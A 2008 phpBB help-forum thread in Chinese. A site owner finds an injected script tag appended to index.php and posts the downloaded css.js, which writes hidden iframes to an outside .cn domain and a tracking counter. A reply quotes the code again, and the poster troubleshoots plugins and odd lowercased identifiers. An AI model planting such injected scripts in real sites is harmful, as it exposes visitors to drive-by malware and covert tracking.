1 頁 (共 1 頁)

論壇 index.php 出現奇怪代碼導致程式錯誤

發表於 : 2008-12-10 01:08
StandardGr
 
不知道為什麼
每次差不多到了晚上十一點到十二點之間站台上總容易出現錯誤,然後首頁就一片空白
今天像是抓到了這個錯誤,只是不知道為何會這樣子
也就是首頁 index.php 最下面都會自動出現這行代碼

代碼: 選擇全部

?><script language="javascript" src="http://www.css.vu.cx/css.js?width=700&height=600&keyword=uf556"></script>
比照正常運作時的 index.php 卻不見這行代碼


他是出現在 index.php 的

代碼: 選擇全部

page_footer();
之後

抓下 css.js 之後打開來看,他的代碼是這樣

代碼: 選擇全部

var cookA = new String(document.cookie);
var Then = new Date();
var cookName = '9B4A4C5EBF042C02' ;
Then.setTime(Then.getTime() + 30*60*1000 );
var kesor = cookA.indexOf(cookName);
if (kesor == -1)
   {
document.write('<iframe src=http://www.rxgsslll.cn/yhyw/2.htm width=50 height=0 border=0></iframe>');

document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://count27.51yes.com/sa.aspx?id=275666147&refe='+window.parent.location+'&location=http%3A//css.js/&color=32x&resolution=1024x768&returning=0&language=zh-cn&ua=Mozilla/4.0%20%28compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.04506.30%29" frameBorder=0 width=0 scrolling=no height=0></IFRAME>');

   document.cookie = "A1="+ cookName +";expires="+ Then.toGMTString() +";path=/";
奇怪,搞不懂為何老是會自動出現這個代碼
希望前輩可以給予指點
論壇這樣一兩天就掛一次,時間點都差不多,卻又沒有效的解決辦法...

再次感謝幫助

 

Re: 論壇 index.php 出現奇怪代碼導致程式錯誤

發表於 : 2008-12-10 09:07
心靈捕手
StandardGr 寫: 
不知道為什麼
每次差不多到了晚上十一點到十二點之間站台上總容易出現錯誤,然後首頁就一片空白
今天像是抓到了這個錯誤,只是不知道為何會這樣子
也就是首頁 index.php 最下面都會自動出現這行代碼

代碼: 選擇全部

?><script language="javascript" src="http://www.css.vu.cx/css.js?width=700&height=600&keyword=uf556"></script>
比照正常運作時的 index.php 卻不見這行代碼


他是出現在 index.php 的

代碼: 選擇全部

page_footer();
之後

抓下 css.js 之後打開來看,他的代碼是這樣

代碼: 選擇全部

var cookA = new String(document.cookie);
var Then = new Date();
var cookName = '9B4A4C5EBF042C02' ;
Then.setTime(Then.getTime() + 30*60*1000 );
var kesor = cookA.indexOf(cookName);
if (kesor == -1)
   {
document.write('<iframe src=http://www.rxgsslll.cn/yhyw/2.htm width=50 height=0 border=0></iframe>');

document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://count27.51yes.com/sa.aspx?id=275666147&refe='+window.parent.location+'&location=http%3A//css.js/&color=32x&resolution=1024x768&returning=0&language=zh-cn&ua=Mozilla/4.0%20%28compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.04506.30%29" frameBorder=0 width=0 scrolling=no height=0></IFRAME>');

   document.cookie = "A1="+ cookName +";expires="+ Then.toGMTString() +";path=/";
奇怪,搞不懂為何老是會自動出現這個代碼
希望前輩可以給予指點
論壇這樣一兩天就掛一次,時間點都差不多,卻又沒有效的解決辦法...

再次感謝幫助

 
建議您:
1. 徹底移除您最近安裝的外掛 (檔案與新增之資料表).
2. 若該 "程式碼" 已寫入 index.php, 則移除之.

Re: 論壇 index.php 出現奇怪代碼導致程式錯誤

發表於 : 2008-12-12 03:11
StandardGr
建議您:
1. 徹底移除您最近安裝的外掛 (檔案與新增之資料表).
2. 若該 "程式碼" 已寫入 index.php, 則移除之.


抱歉這兩天比較忙沒來得及感謝指導


原始 index.php 底下共新增三段代碼如下:

一個是 Top Posters on Index http://phpbb-tw.net/phpbb/viewtopic.php?f=132&t=51637
加了

代碼: 選擇全部

//Generate top poster list if enabled
if ($config['amount_top_posters'])
{
	if (!function_exists('get_top_posters'))
	{	
		include_once($phpbb_root_path . 'includes/functions_topposter.' . $phpEx);
	}
	get_top_posters();
}
一個是 Top5 List v1.0.2 http://phpbb-tw.net/phpbb/viewtopic.php?f=134&t=51371
加了

代碼: 選擇全部

// Top List Mod
include($phpbb_root_path . 'toplist.'.$phpEx);
一個是 Activity Stats MOD http://phpbb-tw.net/phpbb/viewtopic.php?f=132&t=50972
加了

代碼: 選擇全部

include($phpbb_root_path . 'includes/functions_activity_stats.' . $phpEx);
activity_mod();

由於其中兩個是官方認可,而一個是竹貓所使用的。所以應該不會有相容上的問題才是
目前可能先從這三個外掛著手整理

另外還有一點疑惑就是
擷取原始 index.php 的一小段代碼如下

代碼: 選擇全部

define('IN_PHPBB', true);
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './';
$phpEx = substr(strrchr(__FILE__, '.'), 1);
include($phpbb_root_path . 'common.' . $phpEx);
include($phpbb_root_path . 'includes/functions_display.' . $phpEx);
再擷取同樣區域的代碼,但是是出自於出錯的 index.php ,卻是如下

代碼: 選擇全部

define('in_phpbb', true);
$phpbb_root_path = (defined('phpbb_root_path')) ? phpbb_root_path : './';
$phpex = substr(strrchr(__file__, '.'), 1);
include($phpbb_root_path . 'common.' . $phpex);
include($phpbb_root_path . 'includes/functions_display.' . $phpex);

不太了解為何在部分區域的英文字怎麼都會自動變成小寫...
難道這會與出錯有關係嗎?

再次感謝抽空給予寶貴的指教 (:Y)

 

Re: 論壇 index.php 出現奇怪代碼導致程式錯誤

發表於 : 2008-12-12 06:52
心靈捕手
您提到的已安裝外掛, 應該不會造成您提到的問題;
若不放心的話, 則先移除竹貓的 "Top5 List v1.0.2".

不太了解您是如何 "擷取" "出錯的 index.php" "代碼"?
建議您:
補充說明.

Re: 論壇 index.php 出現奇怪代碼導致程式錯誤

發表於 : 2008-12-12 15:03
StandardGr
心靈捕手 寫:您提到的已安裝外掛, 應該不會造成您提到的問題;
若不放心的話, 則先移除竹貓的 "Top5 List v1.0.2".

不太了解您是如何 "擷取" "出錯的 index.php" "代碼"?
建議您:
補充說明.

嗯~就如同下圖示

原始 index.php ↓
圖檔


出錯後的 index.php ↓
圖檔


如紅框中的一些函數代碼英文字都會自動變成小寫
很奇怪的現象不知道,我想這應該不是造成出錯的原因才是?


由於站台上出錯的時間點都在晚上十一點凌晨一點左右
所以目前思考的抓錯方向是找出會受時間所影響到的外掛
可能是換日啦,或者是到了某個時間點會做什麼變化、統計等等的資料導致錯誤
Top5 List v1.0.2Top Posters on Index可能就沒這方面的問題
Activity Stats MOD是會因為時間的轉動而做變化
之前也因為要設計版面而將Activity Stats MOD改動較多
所以暫時先卸下Activity Stats MOD試試看
測試個兩天看看,如果不行再將全站上的程式都恢復到最原始的狀態。重新安裝外掛 :-P


失禮,再次感謝抽空給予寶貴的指教 (:Y)